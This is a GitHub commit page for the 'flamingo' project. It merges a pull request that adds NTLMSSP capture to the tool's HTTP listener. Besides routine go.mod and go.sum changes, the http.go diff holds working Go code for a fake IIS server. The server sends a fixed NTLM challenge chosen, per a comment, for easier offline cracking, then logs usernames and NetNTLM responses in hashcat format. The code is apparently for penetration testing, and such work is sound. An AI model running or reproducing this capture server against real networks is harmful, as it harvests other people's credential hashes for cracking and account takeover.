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Merge pull request #1 from audibleblink/feature/ntlmssp
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WIP: adds NTLMSSP
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@hdm
hdm committed Jan 25, 2020
2 parents 15e4eeb + a0c650d commit 59729eb
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Showing 3 changed files with 128 additions and 95 deletions.
2 changes: 2 additions & 0 deletions go.mod
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Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,14 @@ module github.com/atredispartners/flamingo
go 1.13

require (
github.com/audibleblink/go-ntlm v0.0.0-20190308023621-c1bc43845e23
github.com/golang/mock v1.3.1 // indirect
github.com/hdm/gosnmp v0.0.0-20191201190541-fbffabc0d968
github.com/konsorten/go-windows-terminal-sequences v1.0.2 // indirect
github.com/nmcclain/asn1-ber v0.0.0-20170104154839-2661553a0484 // indirect
github.com/nmcclain/ldap v0.0.0-20191021200707-3b3b69a7e9e3
github.com/sirupsen/logrus v1.4.2
github.com/soniah/gosnmp v1.22.0 // indirect
github.com/spf13/cobra v0.0.5
github.com/spf13/pflag v1.0.5 // indirect
golang.org/x/crypto v0.0.0-20200109152110-61a87790db17
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56 changes: 4 additions & 52 deletions go.sum
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Original file line number Diff line number Diff line change
@@ -1,75 +1,44 @@
bitbucket.org/liamstask/goose v0.0.0-20150115234039-8488cc47d90c/go.mod h1:hSVuE3qU7grINVSwrmzHfpg9k87ALBk+XaualNyUzI4=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/GeertJohan/go.incremental v1.0.0/go.mod h1:6fAjUhbVuX1KcMD3c8TEgVUqmo4seqhv0i0kdATSkM0=
github.com/GeertJohan/go.rice v1.0.0/go.mod h1:eH6gbSOAUv07dQuZVnBmoDP8mgsM1rtixis4Tib9if0=
github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/certifi/gocertifi v0.0.0-20180118203423-deb3ae2ef261/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4=
github.com/cloudflare/backoff v0.0.0-20161212185259-647f3cdfc87a/go.mod h1:rzgs2ZOiguV6/NpiDgADjRLPNyZlApIWxKpkT+X8SdY=
github.com/cloudflare/cfssl v1.4.1 h1:vScfU2DrIUI9VPHBVeeAQ0q5A+9yshO1Gz+3QoUQiKw=
github.com/cloudflare/cfssl v1.4.1/go.mod h1:KManx/OJPb5QY+y0+o/898AMcM128sF0bURvoVUSjTo=
github.com/cloudflare/go-metrics v0.0.0-20151117154305-6a9aea36fb41/go.mod h1:eaZPlJWD+G9wseg1BuRXlHnjntPMrywMsyxf+LTOdP4=
github.com/cloudflare/redoctober v0.0.0-20171127175943-746a508df14c/go.mod h1:6Se34jNoqrd8bTxrmJB2Bg2aoZ2CdSXonils9NsiNgo=
github.com/audibleblink/go-ntlm v0.0.0-20190308023621-c1bc43845e23 h1:2LStrPaZzohiCtPXvfyHgwHovqBfB3RU0/CtH1N0isk=
github.com/audibleblink/go-ntlm v0.0.0-20190308023621-c1bc43845e23/go.mod h1:zJPIj8bkusLxnNA2qIcUQdcNqSHN9HISRCIiVhGPIbA=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/daaku/go.zipexe v1.0.0/go.mod h1:z8IiR6TsVLEYKwXAoE/I+8ys/sDkgTzSL0CLnGVd57E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/getsentry/raven-go v0.0.0-20180121060056-563b81fc02b7/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
github.com/go-sql-driver/mysql v1.3.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
github.com/golang/mock v1.2.0 h1:28o5sBqPkBsMGnC6b4MvE2TzSr5/AT4c/1fLqVGIwlk=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1 h1:qGJ6qTW+x6xX/my+8YUVl4WNpX9B7+/l2tRsHGZ7f2s=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/google/certificate-transparency-go v1.0.21/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hdm/gosnmp v0.0.0-20191201190541-fbffabc0d968 h1:WbpDBdC66uJhxUUGAiDvtU3ry3Ollq9nFQtIyTE2oHA=
github.com/hdm/gosnmp v0.0.0-20191201190541-fbffabc0d968/go.mod h1:aPoJ8C0446forGmY+A6C0q2hyuRVH6mLAvpvLIa8BYo=
github.com/hdm/gosnmp v0.0.0-20191201190541-fbffabc0d968/go.mod h1:aPoJ8C0446forGmY+A6C0q2hyuRVH6mLAvpvLIa8BYo=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
github.com/jmhodges/clock v0.0.0-20160418191101-880ee4c33548/go.mod h1:hGT6jSUVzF6no3QaDSMLGLEHtHSBSefs+MgcDWnmhmo=
github.com/jmoiron/sqlx v0.0.0-20180124204410-05cef0741ade/go.mod h1:IiEW3SEiiErVyFdH8NTuWjSifiEQKUoyK3LNqr2kCHU=
github.com/kisielk/sqlstruct v0.0.0-20150923205031-648daed35d49/go.mod h1:yyMNCyc/Ib3bDTKd379tNMpB/7/H5TjM2Y9QJ5THLbE=
github.com/kisom/goutils v1.1.0/go.mod h1:+UBTfd78habUYWFbNWTJNG+jNG/i/lGURakr4A/yNRw=
github.com/konsorten/go-windows-terminal-sequences v1.0.1 h1:mweAR1A6xJ3oS2pRaGiHgQ4OO8tzTaLawm8vnODuwDk=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/konsorten/go-windows-terminal-sequences v1.0.2 h1:DB17ag19krx9CFsz4o3enTrPXyIXCl+2iCXH/aMAp9s=
github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kylelemons/go-gypsy v0.0.0-20160905020020-08cad365cd28/go.mod h1:T/T7jsxVqf9k/zYOqbgNAsANsjxTd1Yq3htjDhQ1H0c=
github.com/lib/pq v0.0.0-20180201184707-88edab080323/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-sqlite3 v1.10.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/mreiferson/go-httpclient v0.0.0-20160630210159-31f0106b4474/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8=
github.com/nkovacs/streamquote v0.0.0-20170412213628-49af9bddb229/go.mod h1:0aYXnNPJ8l7uZxf45rWW1a/uME32OF0rhiYGNQ2oF2E=
github.com/nmcclain/asn1-ber v0.0.0-20170104154839-2661553a0484 h1:D9EvfGQvlkKaDr2CRKN++7HbSXbefUNDrPq60T+g24s=
github.com/nmcclain/asn1-ber v0.0.0-20170104154839-2661553a0484/go.mod h1:O1EljZ+oHprtxDDPHiMWVo/5dBT6PlvWX5PSwj80aBA=
github.com/nmcclain/ldap v0.0.0-20191021200707-3b3b69a7e9e3 h1:NNis9uuNpG5h97Dvxxo53Scg02qBg+3Nfabg6zjFGu8=
github.com/nmcclain/ldap v0.0.0-20191021200707-3b3b69a7e9e3/go.mod h1:YtrVB1/v9Td9SyjXpjYVmbdKgj9B0nPTBsdGUxy0i8U=
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/soniah/gosnmp v1.22.0 h1:jVJi8+OGvR+JHIaZKMmnyNP0akJd2vEgNatybwhZvxg=
github.com/soniah/gosnmp v1.22.0/go.mod h1:DuEpAS0az51+DyVBQwITDsoq4++e3LTNckp2GoasF2I=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s=
Expand All @@ -87,27 +56,14 @@ github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXf
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8=
github.com/weppos/publicsuffix-go v0.4.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
github.com/weppos/publicsuffix-go v0.5.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
github.com/ziutek/mymysql v1.5.4/go.mod h1:LMSpPZ6DbqWFxNCHW77HeMg9I646SAhApZ/wKdgO/C0=
github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54tB79AMBcySS0R2XIyZBAVmeHranShAFELYx7is=
github.com/zmap/zcrypto v0.0.0-20190729165852-9051775e6a2e/go.mod h1:w7kd3qXHh8FNaczNjslXqvFQiv5mMWRXlL9klTUAHc8=
github.com/zmap/zlint v0.0.0-20190806154020-fd021b4cfbeb/go.mod h1:29UiAJNsiVdvTBFCJW8e3q6dcDbOoPkhMgttOSCIMMY=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200109152110-61a87790db17 h1:nVJ3guKA9qdkEQ3TUdXI9QSINo2CUPM/cySEvw2w8I0=
golang.org/x/crypto v0.0.0-20200109152110-61a87790db17/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
Expand All @@ -116,10 +72,6 @@ golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200107162124-548cf772de50 h1:YvQ10rzcqWXLlJZ3XCUoO25savxmscf4+SC+ZqiCHhA=
golang.org/x/sys v0.0.0-20200107162124-548cf772de50/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
165 changes: 122 additions & 43 deletions pkg/flamingo/http.go
View file
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,17 @@ import (
"sync"
"time"

"github.com/audibleblink/go-ntlm/ntlm"
log "github.com/sirupsen/logrus"
)

// Challenge is the challenge blob that Responder sends, using
// 1122334455667788 for easier offline cracking
const Challenge = "TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQL" +
"ODgAAAA9TAE0AQgACAAYARgBUAFAAAQAWAEYAVABQAC0AVABPAE8ATABCAE8AWAAEABIAZgB0AHAA" +
"LgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAxADYALgBmAHQAYgAuAGwAbwBjAGEAbAAFA" +
"BIAZgB0AHAALgBsAG8AYwBhAGwAAAAAAA=="

// ConfHTTP describes the options for a HTTP service
type ConfHTTP struct {
BindPort uint16
Expand Down Expand Up @@ -113,17 +121,8 @@ func startHTTP(c *ConfHTTP) {
func httpHandler(c *ConfHTTP) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {

// TODO: NLTMSSP Support
// w.Header().Set("WWW-Authenticate", "Negotiate")

w.Header().Set("WWW-Authenticate", fmt.Sprintf("Basic realm=\"%s\"", c.BasicRealm))
w.Header().Set("Server", "Microsoft-IIS/8.5")
w.WriteHeader(401)

if r.Header.Get("Authorization") != "" {
if httpHandleBasicAuth(c, w, r) {
return
}
if httpHandleAuth(c, w, r) {
return
}

log.WithFields(log.Fields{
Expand Down Expand Up @@ -183,53 +182,133 @@ func httpHandleBasicAuth(c *ConfHTTP, w http.ResponseWriter, r *http.Request) bo
return true
}

// TODO: NTLMSSP Support
/*
func httpHandleAuth(c *ConfHTTP, w http.ResponseWriter, r *http.Request) bool {
auth := strings.TrimSpace(r.Header.Get("Authorization"))
if len(auth) == 0 {
return false
}
func httpHandleAuth(c *ConfHTTP, w http.ResponseWriter, r *http.Request) (ok bool) {

bits := strings.SplitN(auth, " ", 2)
if len(bits) != 2 || len(bits[0]) == 0 || len(bits[1]) == 0 {
return false
headers := map[string]string{
"Connection": "Keep-Alive",
"Keep-Alive": "timeout=5, max=100",
"Server": "Microsoft-IIS/7.5",
}

// Handle basic separately
atype := strings.ToLower(bits[0])
if atype == "basic" {
httpHandleBasicAuth(c, w, r)
return true
for k, v := range headers {
w.Header().Set(k, v)
}

// Only process NTLM and Negotiate from here
if atype != "ntlm" && atype != "negotiate" {
return false
if r.Method == "OPTIONS" {
// OPTIONS indicates a possible WebDAV client
w.Header().Set("Allow", "OPTIONS,GET,HEAD,POST,PUT,DELETE,TRACE,"+
"PROPFIND,PROPPATCH,MKCOL,COPY,MOVE,LOCK,UNLOCK")

} else if r.Method == "GET" || r.Method == "PROPFIND" {
// GETs for standard HTTP client or PROPFIND for stage 2 WebDAV

authHeader := ""
if r.Header["Authorization"] != nil {
authHeader = r.Header["Authorization"][0]
}

switch ntlmType(authHeader) {
case -1:
w.WriteHeader(404)
case 0:
w.Header().Set("WWW-Authenticate", "NTLM")
w.WriteHeader(401)
case 1:
w.Header().Set("WWW-Authenticate", fmt.Sprintf("NTLM %s", Challenge))
w.WriteHeader(401)
case 3:
ntlmBytes, err := headerBytes(authHeader)
if err != nil {
w.WriteHeader(404)
return
}
hashType := getHashType(authHeader)
netNTLMResponse, err := ntlm.ParseAuthenticateMessage(ntlmBytes, hashType)
if err != nil {
w.WriteHeader(404)
return
}

pname := "http"
if c.TLS {
pname = "https"
}
c.RecordWriter.Record(
pname,
r.RemoteAddr,
map[string]string{
"_server": fmt.Sprintf("%s:%d", c.BindHost, c.BindPort),
"agent": r.UserAgent(),
"url": r.RequestURI,
"user": netNTLMResponse.UserName.String(),
"hashcat": toHashcat(netNTLMResponse, hashType),
"method": "NTLMSSP",
},
)
ok = true

}
} else {
w.WriteHeader(404)
}
return
}

decoded, err := base64.StdEncoding.DecodeString(bits[1])
func getHashType(header string) int {
netNTLMMessageBytes, err := headerBytes(header)
if err != nil {
return false
return -1
}

// Bail if there is no NTLMSSPHeader
if !bytes.HasPrefix(decoded, httpNTLMSSPHeader) {
return false
hashSize := netNTLMMessageBytes[22]
if hashSize == 24 {
return 1
}
return 2
}

if len(decoded) <= len(httpNTLMSSPHeader)+1 {
return false
func ntlmType(header string) int {
netNTLMMessageBytes, err := headerBytes(header)
if err != nil {
return -1
}

// Check the "type" field of the NTLMSSP header
switch decoded[8] {
size := len(netNTLMMessageBytes)
switch {
case size == 0:
return 0
case size <= 64:
return 1
default:
return 3
}
}

return true
func toHashcat(h *ntlm.AuthenticateMessage, ntlmVer int) (out string) {
template := "%s::%s:%s:%s:%s"
un := h.UserName.String()
dn := h.DomainName.String()
ws := h.Workstation.String()
ch := "1122334455667788"

if ntlmVer == 1 {
lm := h.LmChallengeResponse.String()
nt := h.NtlmV1Response.String()
out = fmt.Sprintf(template, un, ws, lm, nt, ch)
} else {
v2 := h.NtChallengeResponseFields.String()
lm := v2[0:31]
nt := v2[32 : len(v2)-1]
out = fmt.Sprintf(template, un, dn, ch, lm, nt)
}
return
}
*/

var httpNTLMSSPHeader = []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0}
func headerBytes(header string) ([]byte, error) {
b64 := strings.TrimPrefix(header, "NTLM ")
netNTLMMessageBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil {
return netNTLMMessageBytes, err
}
return netNTLMMessageBytes, err
}

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